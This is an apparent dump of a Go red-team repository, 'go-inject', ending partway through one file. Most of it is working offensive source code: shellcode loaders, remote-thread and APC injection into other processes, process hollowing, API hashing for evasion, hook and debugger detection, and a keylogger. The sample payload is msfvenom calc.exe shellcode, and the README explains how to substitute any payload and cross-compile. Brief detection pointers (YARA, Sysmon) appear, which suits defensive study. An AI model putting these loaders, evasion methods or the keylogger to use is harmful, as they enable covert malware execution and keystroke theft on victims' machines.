├── .gitignore ├── LICENSE ├── README.md ├── examples ├── x64 │ ├── api-hash │ │ └── api_hash.go │ ├── detect-hooks │ │ └── detect-hooks.go │ ├── heap │ │ └── heap.go │ ├── hollow │ │ └── hollow.go │ ├── keylog │ │ └── keylog.go │ ├── peb │ │ └── peb.go │ ├── queue-user-apc │ │ └── queue.go │ ├── remote-thread │ │ └── remote_thread.go │ ├── uuid │ │ └── uuid.go │ └── valloc │ │ └── valloc.go └── x86 │ └── valloc │ └── valloc.go ├── go.mod ├── go.sum ├── helpers └── shellcode-to-uuids.go ├── inject ├── dll.go ├── helpers.go ├── kernel32.go ├── ntdll.go ├── psapi.go ├── rpcrt4.go ├── user32.go └── winapi.go └── yara └── goinject.yar /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Zane Gittins 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-inject 2 | 3 | Process injection techniques written in Go. I've also expanded this repo to include some general offense techniques in Go. 4 | 5 | ## Techniques 6 | 7 | * [Classic virtual alloc](examples/x64/valloc/valloc.go) 8 | * [Heap](examples/x64/heap/heap.go) 9 | * [Remote Thread Injection](examples/x64/remote-thread/remote_thread.go) 10 | * [APC Queue Code Injection](examples/x64/queue-user-apc/queue.go) 11 | * [UUID Injection - Used by Lazarus 2021](examples/x64/uuid/uuid.go) 12 | * [Hook detection](examples/x64/detect-hooks/detect-hooks.go) 13 | * [Keylogger](examples/x64/keylog/keylog.go) 14 | * [Hollow](examples/x64/hollow/hollow.go) 15 | * [API Hashing](examples/x64/api_hash/api_hash.go) 16 | 17 | ## Usage 18 | 19 | Use msfvenom or any other tool to generate hex encoded shellcode: 20 | ```bash 21 | msfvenom -p windows/x64/exec CMD=calc.exe -f hex 22 | ``` 23 | 24 | Place hex encoded payload within one of the example .go files replacing the content of the `payload` variable. You can cross compile on Linux using the following: 25 | Linux: 26 | ```bash 27 | env GOOS=windows go build -ldflags="-s -w" -trimpath examples/x64/uuid/uuid.go 28 | ``` 29 | 30 | ## Detection 31 | 32 | I've written a few simple yara rules to detect binaries using go-inject: 33 | 34 | [Yara ruleset](yara/goinject.yar) 35 | 36 | I also recommend using Sysmon event ids 8 (CreateRemoteThread) and 25 (ProcessTampering) for detection. 37 | 38 | ## References 39 | 40 | * https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/ 41 | * https://github.com/Adepts-Of-0xCC/VBA-macro-experiments/blob/main/EDRHookDetector.vba 42 | * https://github.com/brimstone/go-shellcode 43 | * https://github.com/sysdream/hershell 44 | * https://github.com/yoda66/MalwareDevTalk 45 | * https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/ 46 | * https://medium.com/@justen.walker/breaking-all-the-rules-using-go-to-call-windows-api-2cbfd8c79724 47 | * https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa 48 | * https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ 49 | * https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 50 | * https://github.com/abdullah2993/go-runpe 51 | -------------------------------------------------------------------------------- /examples/x64/api-hash/api_hash.go: -------------------------------------------------------------------------------- 1 | /* 2 | Author: Zane Gittins 3 | Based on C code from the below references - 4 | References: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware 5 | */ 6 | 7 | package main 8 | 9 | import ( 10 | "debug/pe" 11 | "encoding/hex" 12 | "fmt" 13 | "os" 14 | "syscall" 15 | "unsafe" 16 | 17 | "github.com/zaneGittins/go-inject/inject" 18 | 19 | "golang.org/x/sys/windows" 20 | ) 21 | 22 | // Hashes calculated from function getFunctionAddressbyHash() 23 | var ( 24 | VirtualAllocHash = 0x97bc257 25 | RtlCopyMemoryHash = 0xd232bb4b 26 | VirtualProtectHash = 0xe857500d 27 | CreateThreadHash = 0x98baab11 28 | WaitForSingleObjectHash = 0xdf1b3da 29 | ) 30 | 31 | type ImageFileHeader struct { 32 | Machine uint16 33 | NumberOfSections uint16 34 | TimeDateStamp uint32 35 | PointerToSymbolTable uint32 36 | NumberOfSymbols uint32 37 | SizeOfOptionalHeader uint16 38 | Characteristics uint16 39 | } 40 | 41 | type ImageNTHeaders struct { 42 | Signature uint32 43 | FileHeader ImageFileHeader 44 | OptionalHeader pe.OptionalHeader64 // 64 bit. 45 | } 46 | 47 | type ImageDosHeader struct { 48 | EMagic uint16 49 | ECblp uint16 50 | ECp uint16 51 | ECrlc uint16 52 | ECparhdr uint16 53 | EMinalloc uint16 54 | EMaxalloc uint16 55 | ESs uint16 56 | ESp uint16 57 | ECsum uint16 58 | EIp uint16 59 | ECs uint16 60 | ELfarlc uint16 61 | EOvno uint16 62 | ERes [4]uint16 63 | EOemid uint16 64 | EOeminfo uint16 65 | ERes2 [10]uint16 66 | ELfanew uint32 67 | } 68 | 69 | type ImageExportDirectory struct { 70 | Characteristics uint32 71 | TimeDateStamp uint32 72 | MajorVersion uint16 73 | MinorVersion uint16 74 | Name uint32 75 | Base uint32 76 | NumberOfFunctions uint32 77 | NumberOfNames uint32 78 | AddressOfFunctions uint32 79 | AddressOfNames uint32 80 | AddressOfNameOrdinals uint32 81 | } 82 | 83 | func getHashFromString(input string) int { 84 | 85 | hash := 0x1505 86 | for i := 0; i < len(input); i++ { 87 | hash = (hash * 0x21) & 0xFFFFFFFF 88 | hash = (hash + (int(input[i]) & 0xFFFFFFDF)) & 0xFFFFFFFF 89 | } 90 | 91 | return hash 92 | } 93 | 94 | func getFunctionAddressbyHash(library string, hash int) uintptr { 95 | 96 | // Get library base. 97 | libraryBase, err := inject.LoadLibraryA(library) 98 | if err != windows.Errno(0) { 99 | fmt.Printf("%s\n", err) 100 | } 101 | 102 | dosHeader := (*ImageDosHeader)(unsafe.Pointer(&(*[64]byte)(unsafe.Pointer(libraryBase))[:][0])) 103 | 104 | offset := (libraryBase) + uintptr(dosHeader.ELfanew) 105 | imageNTHeaders := (*ImageNTHeaders)(unsafe.Pointer(&(*[264]byte)(unsafe.Pointer(offset))[:][0])) 106 | 107 | exportDirectoryRVA := imageNTHeaders.OptionalHeader.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 108 | 109 | offset = (libraryBase) + uintptr(exportDirectoryRVA) 110 | imageExportDirectory := (*ImageExportDirectory)(unsafe.Pointer(&(*[256]byte)(unsafe.Pointer(offset))[:][0])) 111 | 112 | offset = (libraryBase) + uintptr(imageExportDirectory.AddressOfFunctions) 113 | addresOfFunctionsRVA := (*uint)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(offset))[:][0])) 114 | 115 | offset = (libraryBase) + uintptr(imageExportDirectory.AddressOfNames) 116 | addressOfNamesRVA := (*uint32)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(offset))[:][0])) 117 | 118 | for i := (0); i < int(imageExportDirectory.NumberOfFunctions); i += 1 { 119 | 120 | offset = (libraryBase) + uintptr(imageExportDirectory.AddressOfNames) + uintptr(i*4) 121 | addressOfNamesRVA = (*uint32)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(offset))[:][0])) 122 | functionNameRVA := (*uint32)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(addressOfNamesRVA))[:][0])) 123 | offset = (libraryBase) + uintptr(*functionNameRVA) 124 | functionNameVA := (uintptr)(unsafe.Pointer(&(*[32]byte)(unsafe.Pointer(offset))[:][0])) 125 | 126 | // Read until null byte, strings should be null terminated. 127 | functionName := "" 128 | for k := 0; k < 1000; k++ { // This for loop should be improved to not have an arbitrary high number. 129 | nextChar := (*byte)(unsafe.Pointer(&(*[64]byte)(unsafe.Pointer(functionNameVA))[:][k])) 130 | if *nextChar == 0x00 { 131 | break 132 | } 133 | functionName += string(*nextChar) 134 | } 135 | functionNameHash := getHashFromString(functionName) 136 | 137 | if functionNameHash == hash { 138 | 139 | // addressOfNameOrdinalsRVA[i] 140 | offset = (libraryBase) + uintptr(imageExportDirectory.AddressOfNameOrdinals) + uintptr(i*2) // We multiply by 2 because each element is 2 bytes in the array. 141 | ordinalRVA := (*uint16)(unsafe.Pointer(&(*[2]byte)(unsafe.Pointer(offset))[:][0])) 142 | 143 | offset = uintptr(unsafe.Pointer(*&addresOfFunctionsRVA)) + uintptr(uint32(*ordinalRVA)*4) // We multiply by 4 because each element is 4 bytes in the array. 144 | functionAddressRVA := (*uint32)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(offset))[:][0])) 145 | 146 | offset = (libraryBase) + uintptr(*functionAddressRVA) // 0x1b5a0 147 | functionAddress := (uintptr)(unsafe.Pointer(&(*[4]byte)(unsafe.Pointer(offset))[:][0])) 148 | 149 | return functionAddress 150 | } 151 | } 152 | 153 | return 0x00 154 | 155 | } 156 | 157 | func main() { 158 | 159 | // msfvenom -p windows/x64/exec CMD=calc.exe -f hex 160 | var payload string = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 161 | 162 | sc, err := hex.DecodeString(payload) 163 | if err != nil { 164 | fmt.Printf("\nError decoding shellcode: %s\n", err) 165 | os.Exit(1) 166 | } 167 | 168 | // Get VirtualAlloc by hash, and call 169 | customVirtualAlloc := getFunctionAddressbyHash("kernel32", VirtualAllocHash) 170 | var address uintptr 171 | if customVirtualAlloc != 0x00 { 172 | 173 | address, _, err = syscall.Syscall6(customVirtualAlloc, 4, uintptr(0), uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE, 0, 0) 174 | if err != windows.Errno(0) { 175 | fmt.Printf("%s\n", err) 176 | } 177 | } 178 | 179 | // Get RtlCopyMemory by hash, and call 180 | customRtlCopyMemory := getFunctionAddressbyHash("ntdll", RtlCopyMemoryHash) 181 | if customRtlCopyMemory != 0x00 { 182 | 183 | _, _, err := syscall.Syscall(customRtlCopyMemory, 3, address, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) 184 | if err != windows.Errno(0) { 185 | fmt.Printf("%s\n", err) 186 | } 187 | } 188 | 189 | // Get VirtualProtect by hash, and call 190 | customVirtualProtect := getFunctionAddressbyHash("kernel32", VirtualProtectHash) 191 | if customVirtualProtect != 0x00 { 192 | var oldProtect uint32 193 | _, _, err := syscall.Syscall6(customVirtualProtect, 4, address, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, (uintptr)(unsafe.Pointer(&oldProtect)), 0, 0) 194 | if err != windows.Errno(0) { 195 | fmt.Printf("%s\n", err) 196 | } 197 | } 198 | 199 | // Get CreateThread by hash, and call 200 | customCreateThread := getFunctionAddressbyHash("kernel32", CreateThreadHash) 201 | var thread uintptr 202 | if customCreateThread != 0x00 { 203 | 204 | thread, _, err = syscall.Syscall6(customCreateThread, 6, 0, 0, address, uintptr(0), 0, 0) 205 | if err != windows.Errno(0) { 206 | fmt.Printf("%s\n", err) 207 | } 208 | } 209 | 210 | // Get WaitForSingleObject by hash, and call 211 | customWaitForSingleObject := getFunctionAddressbyHash("kernel32", WaitForSingleObjectHash) 212 | if customWaitForSingleObject != 0x00 { 213 | _, _, err := syscall.Syscall(customWaitForSingleObject, 2, thread, 0xFFFFFFFF, 0) 214 | if err != windows.Errno(0) { 215 | fmt.Printf("%s\n", err) 216 | } 217 | } 218 | 219 | } 220 | -------------------------------------------------------------------------------- /examples/x64/detect-hooks/detect-hooks.go: -------------------------------------------------------------------------------- 1 | /* 2 | Test with: https://gist.github.com/zaneGittins/c009620f26e5c1100aceb5de123dec65 3 | 4 | References 5 | - https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa 6 | - https://github.com/Adepts-Of-0xCC/VBA-macro-experiments/blob/main/EDRHookDetector.vba 7 | */ 8 | package main 9 | 10 | import ( 11 | "fmt" 12 | "time" 13 | 14 | "github.com/zaneGittins/go-inject/inject" 15 | ) 16 | 17 | func main() { 18 | 19 | time.Sleep(5 * time.Second) 20 | 21 | fmt.Println("[+] Detecting hooks.") 22 | originalSyscall := 3100740428 23 | 24 | moduleHandle := inject.GetModuleHandleA("ntdll.dll") 25 | fmt.Printf("[+] Got module handle ntdll.dll %d\n", moduleHandle) 26 | 27 | address := inject.GetProcAddress(moduleHandle, "NtAllocateVirtualMemory") 28 | fmt.Printf("[+] Got process address of NtAllocateVirtualMemory %d\n", address) 29 | 30 | tmpCheck := inject.RtlMoveMemory(address, 4) 31 | fmt.Println("[+] Moved memory from address.") 32 | 33 | if int(tmpCheck) == originalSyscall { 34 | fmt.Printf("Not hooked! %d\n", tmpCheck) 35 | } else { 36 | fmt.Printf("Hooked! %d\n", tmpCheck) 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /examples/x64/heap/heap.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | ) 10 | 11 | func main() { 12 | 13 | // msfvenom -p windows/x64/exec CMD=calc.exe -f hex 14 | var payload string = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 15 | 16 | sc, err := hex.DecodeString(payload) 17 | if err != nil { 18 | fmt.Printf("\nError decoding shellcode: %s\n", err) 19 | os.Exit(1) 20 | } 21 | 22 | // HEAP_CREATE_ENABLE_EXECUTE - 0x00040000 23 | heap := inject.HeapCreate(0x00040000, len(sc), 0) 24 | 25 | // HEAP_ZERO_MEMORY - 0x00000008 26 | inject.HeapAlloc(heap, 0x00000008, len(sc)) 27 | 28 | // RtlCopy 29 | inject.RtlCopyMemory(heap, sc) 30 | 31 | // CreateThread 32 | thread := inject.CreateThread(heap) 33 | 34 | // Wait for thread to finish 35 | inject.WaitForSingleObject(thread, 0xFFFFFFFF) 36 | } 37 | -------------------------------------------------------------------------------- /examples/x64/hollow/hollow.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io/ioutil" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | ) 10 | 11 | func main() { 12 | 13 | source := flag.String("source", "", "Source executable") 14 | replace := flag.String("replace", "", "Destination executable") 15 | flag.Parse() 16 | 17 | fmt.Printf("Replacing %s with %s\n", *source, *replace) 18 | 19 | data, _ := ioutil.ReadFile(*replace) 20 | inject.RunPE64(data, *source, "") 21 | } 22 | -------------------------------------------------------------------------------- /examples/x64/keylog/keylog.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "unsafe" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | ) 10 | 11 | type KBDLLHOOKSTRUCT struct { 12 | VkCode uint32 13 | ScanCode uint32 14 | Flags uint32 15 | Time uint32 16 | DwExtraInfo uintptr 17 | } 18 | 19 | var ( 20 | MainTID = uint32(0) 21 | WM_QUIT = uint32(0x0012) 22 | WH_KEYBOARD_LL = uint32(13) 23 | WM_KEYDOWN = uint32(256) 24 | 25 | // VK Codes 26 | VK_CAPITAL = uint32(0x14) 27 | VK_SHIFT = uint32(0x10) 28 | VK_LCONTROL = uint32(0xA2) 29 | VK_RCONTROL = uint32(0xA3) 30 | VK_INSERT = uint32(0x2D) 31 | VK_END = uint32(0x23) 32 | VK_PRINT = uint32(0x2A) 33 | VK_DELETE = uint32(0x2E) 34 | VK_BACK = uint32(0x08) 35 | VK_LEFT = uint32(0x25) 36 | VK_RIGHT = uint32(0x27) 37 | VK_UP = uint32(0x26) 38 | VK_DOWN = uint32(0x28) 39 | ) 40 | 41 | func conHandler() uintptr { 42 | inject.PostThreadMessage(uint32(MainTID), WM_QUIT, 0, 0) 43 | return uintptr(1) 44 | } 45 | 46 | func keyboardHook(nCode int, wparam uintptr, lparam uintptr) uintptr { 47 | p := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lparam)) 48 | keypress := "" 49 | if uint32(wparam) == WM_KEYDOWN { 50 | switch p.VkCode { 51 | case VK_CAPITAL: 52 | keypress = "" 53 | break 54 | case VK_SHIFT: 55 | keypress = "" 56 | break 57 | case VK_LCONTROL: 58 | keypress = "" 59 | break 60 | case VK_RCONTROL: 61 | keypress = "" 62 | break 63 | case VK_INSERT: 64 | keypress = "" 65 | break 66 | case VK_END: 67 | keypress = "" 68 | break 69 | case VK_PRINT: 70 | keypress = "" 71 | break 72 | case VK_DELETE: 73 | keypress = "" 74 | break 75 | case VK_BACK: 76 | keypress = "" 77 | break 78 | case VK_LEFT: 79 | keypress = "" 80 | break 81 | case VK_RIGHT: 82 | keypress = "" 83 | break 84 | case VK_UP: 85 | keypress = "" 86 | break 87 | case VK_DOWN: 88 | keypress = "" 89 | break 90 | default: 91 | var sb strings.Builder 92 | sb.WriteString(keypress) 93 | sb.WriteRune(rune(p.VkCode)) 94 | keypress = sb.String() 95 | } 96 | } 97 | fmt.Printf("%s\n", keypress) 98 | return inject.CallNextHookEx(0, uint32(nCode), wparam, lparam) 99 | } 100 | 101 | func main() { 102 | 103 | MainTID, _ = inject.GetCurrentThreadId() 104 | 105 | inject.SetConsoleCtrlHandler( 106 | (inject.HANDLER)(conHandler), 107 | 1, 108 | ) 109 | 110 | hHandle := inject.GetModuleHandleA("") 111 | 112 | keyboardHook := inject.SetWindowsHookEx( 113 | WH_KEYBOARD_LL, 114 | (inject.HOOKPROC)(keyboardHook), 115 | hHandle, 116 | 0, 117 | ) 118 | 119 | msg := *new(uintptr) 120 | 121 | for true { 122 | inject.GetMessage(msg, 0, 0, 0) 123 | inject.TranslateMessage(msg) 124 | inject.DispatchMessage(msg) 125 | } 126 | 127 | inject.UnhookWindowsHookEx(keyboardHook) 128 | return 129 | } 130 | -------------------------------------------------------------------------------- /examples/x64/peb/peb.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/zaneGittins/go-inject/inject" 7 | 8 | "golang.org/x/sys/windows" 9 | ) 10 | 11 | func main() { 12 | 13 | processHandle, _ := inject.OpenProcess((0xFFFF), 0, windows.GetCurrentProcessId()) 14 | 15 | pbi, _ := inject.NtQueryInformationProcess(processHandle) 16 | fmt.Printf("PEB:%d\n", pbi.PebBaseAddress) 17 | 18 | pebSize := 128 19 | peb := make([]byte, pebSize) 20 | 21 | inject.ReadProcessMemory(processHandle, uintptr(pbi.PebBaseAddress), peb, uint32(len(peb))) 22 | 23 | fmt.Printf("Read %v\n", peb) 24 | 25 | if peb[2] == 1 { 26 | fmt.Println("BeingDebugged") 27 | } else { 28 | fmt.Println("No debugger detected.") 29 | } 30 | 31 | windows.SleepEx(5000, false) 32 | } 33 | -------------------------------------------------------------------------------- /examples/x64/queue-user-apc/queue.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "flag" 6 | "fmt" 7 | "os" 8 | "time" 9 | "unsafe" 10 | 11 | "github.com/zaneGittins/go-inject/inject" 12 | 13 | "golang.org/x/sys/windows" 14 | ) 15 | 16 | func main() { 17 | 18 | tPid := flag.Int("pid", 0, "target pid") 19 | flag.Parse() 20 | 21 | // msfvenom -p windows/x64/exec CMD=calc.exe -f hex 22 | var payload string = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 23 | 24 | sc, err := hex.DecodeString(payload) 25 | if err != nil { 26 | fmt.Printf("\nError decoding shellcode: %s\n", err) 27 | os.Exit(1) 28 | } 29 | 30 | // HEAP_CREATE_ENABLE_EXECUTE - 0x00040000 31 | snapshot := inject.CreateToolhelp32Snapshot(inject.TH32CS_SNAPPROCESS|inject.TH32CS_SNAPTHREAD, 0) 32 | 33 | var processEntry windows.ProcessEntry32 34 | processEntry.Size = uint32(unsafe.Sizeof(processEntry)) 35 | _, err = inject.Process32Next(snapshot, &processEntry) 36 | if err != nil && err != windows.Errno(0) { 37 | fmt.Println(err) 38 | } 39 | 40 | for true { 41 | if processEntry.ProcessID == uint32(*tPid) { 42 | break 43 | } 44 | _, err = inject.Process32Next(snapshot, &processEntry) 45 | if err == windows.Errno(18) { 46 | break 47 | } 48 | } 49 | 50 | processHandle, err := inject.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uint32(*tPid)) 51 | if err != nil && err != windows.Errno(0) { 52 | fmt.Println(err) 53 | } 54 | 55 | memptr := inject.VirtualAllocEx(processHandle, uintptr(0), len(sc), 0x3000, 0x40) 56 | 57 | inject.WriteProcessMemory(processHandle, memptr, sc) 58 | 59 | var threadEntry windows.ThreadEntry32 60 | threadEntry.Size = uint32(unsafe.Sizeof(threadEntry)) 61 | _, err = inject.Thread32First(snapshot, &threadEntry) 62 | if err != nil && err != windows.Errno(0) { 63 | fmt.Println(err) 64 | } 65 | 66 | allThreads := []windows.ThreadEntry32{} 67 | for true { 68 | if threadEntry.OwnerProcessID > 0 { 69 | fmt.Printf("Owning PID %d looking for %d\n", threadEntry.OwnerProcessID, uint32(*tPid)) 70 | if uint32(*tPid) == threadEntry.OwnerProcessID { 71 | allThreads = append(allThreads, threadEntry) 72 | } 73 | } 74 | threadEntry.Size = uint32(unsafe.Sizeof(threadEntry)) 75 | _, err = inject.Thread32Next(snapshot, &threadEntry) 76 | if err == windows.Errno(18) { 77 | break 78 | } 79 | } 80 | 81 | for _, thread := range allThreads { 82 | if thread.ThreadID > 0 { 83 | fmt.Printf("PID: %d, TID: %d\n", thread.OwnerProcessID, thread.ThreadID) 84 | tHandle, err := inject.OpenThread(inject.THREAD_ALL_ACCESS, 1, thread.ThreadID) 85 | if err != nil && err != windows.Errno(0) { 86 | fmt.Println(err) 87 | } 88 | inject.QueueUserAPC(&memptr, tHandle) 89 | time.Sleep(2 * time.Second) 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /examples/x64/remote-thread/remote_thread.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | func main() { 14 | 15 | // msfvenom -p windows/x64/exec CMD=calc.exe -f hex 16 | var payload string = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 17 | 18 | sc, err := hex.DecodeString(payload) 19 | if err != nil { 20 | fmt.Printf("\nError decoding shellcode: %s\n", err) 21 | os.Exit(1) 22 | } 23 | processInjectionCandidates := inject.Get64BitProcesses() 24 | chosenPID := inject.SelectRandomElement(processInjectionCandidates) 25 | fmt.Printf("\n[+] Selected %d for injection.", chosenPID) 26 | RunCreateRemoteThread(sc, int(chosenPID)) 27 | } 28 | 29 | func RunCreateRemoteThread(sc []byte, pid int) { 30 | 31 | fmt.Printf("\n[+] Injecting into %d", pid) 32 | 33 | // PROCESS_VM_OPERATION 0x008, PROCESS_VM_WRITE 0x0020 34 | processHandle, _ := inject.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uint32(pid)) 35 | 36 | //IntPtr memptr = VirtualAllocEx(ph, IntPtr.Zero, payload.Length, 0x3000, 0x40); 37 | memptr := inject.VirtualAllocEx(processHandle, uintptr(0), len(sc), 0x3000, 0x40) 38 | 39 | // WriteProcessMemory(ph, memptr, payload, payload.Length, out nbytes); 40 | inject.WriteProcessMemory(processHandle, memptr, sc) 41 | 42 | //IntPtr th = CreateRemoteThread(ph, IntPtr.Zero, 0, memptr, IntPtr.Zero, 0, IntPtr.Zero); 43 | inject.CreateRemoteThread(processHandle, 0, 0, memptr, 0, 0, 0) 44 | 45 | // Close process handle. 46 | inject.CloseHandle(processHandle) 47 | } 48 | -------------------------------------------------------------------------------- /examples/x64/uuid/uuid.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/zaneGittins/go-inject/inject" 7 | ) 8 | 9 | func main() { 10 | 11 | // Pop calc shellcode formated to uuids using shellcode-to-uuids. 12 | uuid := []string{ 13 | "e48348fc-e8f0-00c0-0000-415141505251", 14 | "d2314856-4865-528b-6048-8b5218488b52", 15 | "728b4820-4850-b70f-4a4a-4d31c94831c0", 16 | "7c613cac-2c02-4120-c1c9-0d4101c1e2ed", 17 | "48514152-528b-8b20-423c-4801d08b8088", 18 | "48000000-c085-6774-4801-d0508b481844", 19 | "4920408b-d001-56e3-48ff-c9418b348848", 20 | "314dd601-48c9-c031-ac41-c1c90d4101c1", 21 | "f175e038-034c-244c-0845-39d175d85844", 22 | "4924408b-d001-4166-8b0c-48448b401c49", 23 | "8b41d001-8804-0148-d041-5841585e595a", 24 | "59415841-5a41-8348-ec20-4152ffe05841", 25 | "8b485a59-e912-ff57-ffff-5d48ba010000", 26 | "00000000-4800-8d8d-0101-000041ba318b", 27 | "d5ff876f-f0bb-a2b5-5641-baa695bd9dff", 28 | "c48348d5-3c28-7c06-0a80-fbe07505bb47", 29 | "6a6f7213-5900-8941-daff-d563616c632e", 30 | "00657865-3933-3164-3735-643835383434", 31 | } 32 | 33 | // HEAP_CREATE_ENABLE_EXECUTE - 0x00040000 34 | heap := inject.HeapCreate(0x00040000, 0, 0) 35 | 36 | for i := 0; i < len(uuid); i++ { 37 | 38 | hptr := (heap + uintptr(16*i)) 39 | 40 | _, err := inject.UUIDFromStringA(uuid[i], hptr) 41 | if err != nil { 42 | fmt.Println(err) 43 | } 44 | } 45 | 46 | //EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0); 47 | err := inject.EnumSystemLocalesA(heap, 0) 48 | if err != nil { 49 | fmt.Println(err) 50 | } 51 | 52 | //CloseHandle(ha); 53 | inject.CloseHandle(heap) 54 | } 55 | -------------------------------------------------------------------------------- /examples/x64/valloc/valloc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | func main() { 14 | 15 | // msfvenom -p windows/x64/exec CMD=calc.exe -f hex 16 | var payload string = 